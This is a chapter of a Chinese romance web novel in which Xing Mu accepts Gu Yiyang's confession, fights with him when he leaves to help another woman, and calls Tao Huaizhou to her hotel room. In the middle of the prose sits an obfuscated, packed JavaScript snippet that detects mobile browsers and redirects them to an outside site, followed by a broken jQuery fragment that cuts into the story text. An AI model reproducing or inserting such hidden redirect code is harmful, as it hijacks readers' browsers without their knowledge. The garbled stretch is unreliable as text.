28. 28
作品:《车下不熟》 没住南六环的这几天,刑沐住在包映容和成昊的家里,给包映容做后盾。
包映容认了“朝三暮四”的罪名,成昊痛心疾首地问是谁?包映容不好意思说。她虽然从那位邹先生的眼神中接收到了讯号,但她拿不准人家能不能像她一样真爱无敌。
但凡那位邹先生点点头,包映容就没什么不好意思说的。
成昊把包映容这两天的行踪和接触过的人查一查,水落石出。
他的小三带着哥哥,请他老婆喝咖啡?
他老婆看上了他的小三的哥哥?
他要是阴谋论,那就是他的小三带着哥哥对他老婆用“美男计”。
他要是宿命论,那就是他和小三的苟合,是他老婆和下一任真爱的铺垫。
一时间,成昊分不出阴谋论和宿命论哪一个相对好接受。
刑沐给包映容做了几天后盾,实属多余。几天瘦下去两圈的人,是成昊。她再跟她妈形影不离,实属以多欺少了。
到了周五,刑沐准备回南六环了。
下班前,她收到谷益阳的微信。
Brian:「我认输。」
花开富贵:「?」
就在这时,来了个花店小哥,送花给刑小姐。悦畅旅游除了刑沐,找不出第二个姓刑的。花店小哥还说:“卡片是他亲笔写的,有心!”
刑沐翻开一看:做我女朋友。
没有落款,但又处处写着谷益阳。只有他会把表白和“认输”划等号。只有他的表白是不折不扣的祈使句。也只有他的眼光这么好,郁金香美得不像话。
褚妙语和柯轩围上来,异口同声:“谁送的?”
排除了柯轩,褚妙语也就有了答案。
“你们先让我静静。”刑沐扶着桌沿坐下来,一手掩面,另一手摆摆,先打发了他们。
掩面,掩的是“娇羞带怯”的面。
渣怎么了?再渣,谷益阳也是她两年多都没放下的男人。
凶多吉少怎么了?再凶,今天也是她的大吉。
花开富贵:「你在哪?」
Brian:「接女朋友下班。」
刑沐太吃谷益阳这一套了,趴在桌子上笑得一抽一抽的。周末?脱单?这真是教科书级别的双喜临门。
下班。
刑沐抱着花冲在第一个,褚妙语和柯轩紧随其后。上了电梯,没别人,刑沐宣布:“我有男朋友了。”
“就那小白脸?”柯轩不服,“我哪不如他了?”
褚妙语安慰柯轩:“差的不是你,是她的眼光。”
刑沐承认:“我上辈子欠了那小白脸的,这辈子还。”
柯轩张嘴就来:“我等你。”
褚妙语给柯轩打气:“你不会等太久的。”
“拜托,有你们这样的朋友吗?”刑沐抗议,“我脱单第一天,你们就这么给我唱衰?看来只有李酷是我真朋友。”
“他要是你真朋友,你们就是忘年之交!”褚妙语提到李酷就气不打一处来。
前几天,她带自认为把脚给崴了的李酷去医院,借了个轮椅,推着他满处跑,最后确诊为痛风。痛风是什么概念?大夫说多发于四十岁以上。
从此,年纪轻轻的李酷在褚妙语嘴里就是个土埋半截的人了。
三人下了楼,迎面就是谷益阳。
褚妙语和谷益阳是点头之交,点个头就走。
柯轩前几天才和刑沐、谷益阳共进午餐,他和谷益阳还加了微信。当时,拍着胸脯说在追刑沐的人明明是他,谷益阳还只是一副“姜太公钓鱼”的样子。这才过了几天,谷益阳给他出阴招儿。
“你卑鄙。”柯轩指责谷益阳。
“是了是了,”刑沐打圆场,“从今天开始,他就是我的北鼻了。”
她既然选了谷益阳,就得让柯轩死心。
“姐……”柯轩是撒娇的一把好手。
刑沐狠狠心:“叫他姐夫。”
柯轩拽刑沐到一旁:“房子的事,你不能变卦。”
那晚,刑沐在朋友圈里求租房,是柯轩用了十分钟就帮她牵线搭桥了一套一居室,房东和她一拍即合,谁也不占谁便宜,有柯轩做中间人,也都省心。“不会,”刑沐保证,“我的衣食住行和花前月下是两码事。”
柯轩哭丧着脸:“你要和他去花前月下了?”
“你也去找你的狐朋狗友聚一聚,”刑沐撵他,“打工人的周末,比粮食更粒粒皆辛苦。”
柯轩一步三回头地走了,刑沐对谷益阳邀功:“够不够给你面子?”
谷益阳迈步:“先吃饭?”
刑沐知道,这就是谷益阳的做派。他送花,他表白,他接她下班,他做得够多了,接下来,他要把身段往上提一提了。刑沐屁颠屁颠跟上他,一手抱花,另一手挽住他:“先吃饭?然后呢?”
“然后送你回家。”谷益阳逗逗刑沐。
他对她有感觉。
否则,他怎么会一而再,再而三地产生他要失去她了的紧迫感?刑沐发一条求租房的朋友圈,当陶怀州以为是仅他可见,谷益阳知道是对所有人可见,或许是柯轩?或许是陶怀州?或许还有他不知道的男人?总归会有人趁虚而入。
紧迫感让他“认输”。
既然有感觉,他又是个讲仪式感的人,怎么可能让恋爱的第一天草草结束?有家还不错的清吧,他打算带她去坐坐。他开车来的,不喝酒,再带她去汽车影院选一部经典的爱情片看看。
谷益阳的奥迪所停的位置,好巧不巧是上次陶怀州送上门来给刑沐看胸时停车的位置。
如此一来,刑沐难免想起陶怀州。
想起陶怀州的胸不但给她看了,还给她埋了……
再归咎于她前几天才“开荤”,难免以为谷益阳说送她回家,意味着要跟她回家亲热。“我要是不想回家呢?”她半真半假,“我要是想去品岸酒店呢?”
真,多于假。
刑沐知道谷益阳有一位女同事,也是他鱼塘里的鱼。大家都是鱼的时候,谁也别为难谁。但事已至此,要亲热,她就要在鱼塘主的地盘亲热,对大家都好。
谷益阳不置可否。
二人一顿饭吃得大体上情意绵绵,也各打各的小算盘。
刑沐决意吃完饭要去品岸酒店宣示主权——对一个渣男宣示主权,她也觉得没面子,但自己的坑,自己埋。
谷益阳用不着决意,他有把握几句话就能让刑沐晕头转向。
却不料,没等吃完饭,谷益阳接到一通寻死觅活的电话。因为刑沐把他送的花和卡片,发了朋友圈。人脉是一张错综复杂的网,朋友传朋友,传到了他一位红颜知己的耳朵里。
人命关天,谷益阳要走。
刑沐不放人:“报警不行吗?你找人去不行吗?”
“沐沐,你太心急了。”
“我心急?我跟你耗了两年多,你说我心急?”
“你知道我是什么样的人,为什么不给我时间,让我处理?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16029099|176063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“所以我连我自己的朋友圈都不能做主了?”
谷益阳一副按捺的样子:“沐沐,你还记得我们是怎么认识的吗?”
是因为包映容为成昊寻死觅活。但好歹,成昊是包映容的丈夫。谷益阳和红颜知己算什么?
刑沐火冒三丈:“这有什么可比性?还是说,全世界为情所困的女人你都责无旁贷?”
“万一她今天出了什么事,我们能当作什么都没发生吗?”
“你今天要是去找她,就没有‘我们’了。”
半小时后。
刑沐一个人来到品岸酒店,开了间豪华大床房。谷益阳到底是去救人一命胜造七级浮屠了。她一根筋地说要来这里,就要来这里。
房门一关,她收到陶怀州发来的微信:「回家了吗?」
刑沐不知道陶怀州没头没脑问这个做什么,翻翻上面的聊天记录,才绕过弯来。她说她这几天住她妈家,早上不跟他一起坐地铁。今晚他问她回没回家,无非是问她下周一坐不坐地铁。
不公平!
顿时,刑沐有一种她腥风血雨,陶怀州岁月静好的错觉。
太不公平了……
她要做包映容的拥趸,同柯轩周旋,被谷益阳戏耍,陶怀州倒好,满脑子就个破地铁!
刑沐忿忿地将品岸酒店的位置回复给陶怀州,附加一句:「来吗?」
此时此刻,陶怀州人在机场,要出差。
连日来,他见不到刑沐的面,也找不到联络她的理由,从周一等到周五,终于有理由问她下周一能不能见面。只要她说能,他周日说什么也会回来。
晴天霹雳,她现在在品岸酒店?
惯性思维,他上一次去品岸酒店,和谷益阳狭路相逢,这一次,他默认刑沐和谷益阳现在在一起。
陶怀州:「四十分钟,等我吗?」
花开富贵:「等你。」
周五的晚高峰像拔丝一样绵绵不绝,陶怀州从机场到品岸酒店,用了一个半小时。期间,他无数次欺骗刑沐:快到了,快到了,真的快到了……
他怕她不等他,怕她和谷益阳如何如何。
至于如何?
他也不知道。
到最后,刑沐都急了,发了语音:“你是对‘快’字有什么误解吗?”
陶怀州:「没有误解。」
陶怀州:「没有人比我对这个字更深有体会。」
刑沐被转移了注意力。陶怀州在自黑?自黑,意味着介意。她给他的“快而强”的评价,他介意……
刑沐给陶怀州开门前,千算万算也算不到她会哭。
她有什么好哭的?
没有相亲相爱的父母怎么了?上班累死累活怎么了?大半颗真心喂了狗又怎么了?这不就是普通人的生活吗?有什么好矫情的?
但开门后,刑沐哇地一声哭出来。
再一转念也是,她不跟陶怀州哭,跟谁哭?跟太熟的人,反倒卸不下心防。跟陌生人,情绪又不到位。只有在陶怀州这种半生不熟的人面前,她可以肆无忌惮。反正下了地铁就不熟了——大不了再加上一条,反正下了床就不熟了,她对他做什么都是可以的。
陶怀州赶路赶到急喘,刑沐的眼泪又像海啸一样向他袭来,他统共只剩半口气:“别……别哭。”
“就哭!”刑沐顶嘴。
陶怀州败下阵来,抬手,要给刑沐擦眼泪。
“不许用手,”刑沐挥开他的手,“用嘴。”

